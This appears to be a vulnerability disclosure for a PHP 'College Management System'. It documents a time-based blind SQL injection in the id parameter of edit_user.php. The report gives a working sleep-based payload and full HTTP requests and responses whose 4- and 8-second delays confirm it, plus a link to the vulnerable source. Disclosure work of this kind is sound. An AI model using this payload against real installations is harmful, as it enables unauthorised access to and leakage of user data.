

SQL injection vulnerability exists in id parameter of edit\_user.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 GET /cmsa/edit_user.php?id=(select(0)from(select(sleep(4)))v) HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.209.1/cmsa
4 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.30.1
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:13:46 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 5972
11
12 <!DOCTYPE html>
13 <html lang="en">
14 <head>
15 <meta charset="UTF-8">
16 <meta name="viewport" content="width=device-width, initial-scale=1.0">
17 <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU90FeRpok6YctnYmDr5pNlyT2bRjXh0JMhY6hW+ALEwIH" crossorigin="anonymous">
18
19 <title>
20 Document
21 </title>
22 <style>
```

Done 6,272 bytes | 4,005 millis

Sleep time is 8s:

**Request**

```
1 GET /cmsa/edit_user.php?id=(select(0)from(select(sleep(8)))v) HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.209.1/cmsa
4 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.30.1
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:16:24 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 5972
11
12 <!DOCTYPE html>
13 <html lang="en">
14 <head>
15 <meta charset="UTF-8">
16 <meta name="viewport" content="width=device-width, initial-scale=1.0">
17 <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU90FeRpok6YctnYmDr5pNlyT2bRjXh0JMhY6hW+ALEwIH" crossorigin="anonymous">
18
19 <title>
20 Document
21 </title>
22 <style>
```

Done 6,272 bytes | 8,016 millis

Payload: id=(select(0)from(select(sleep(8)))v)

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>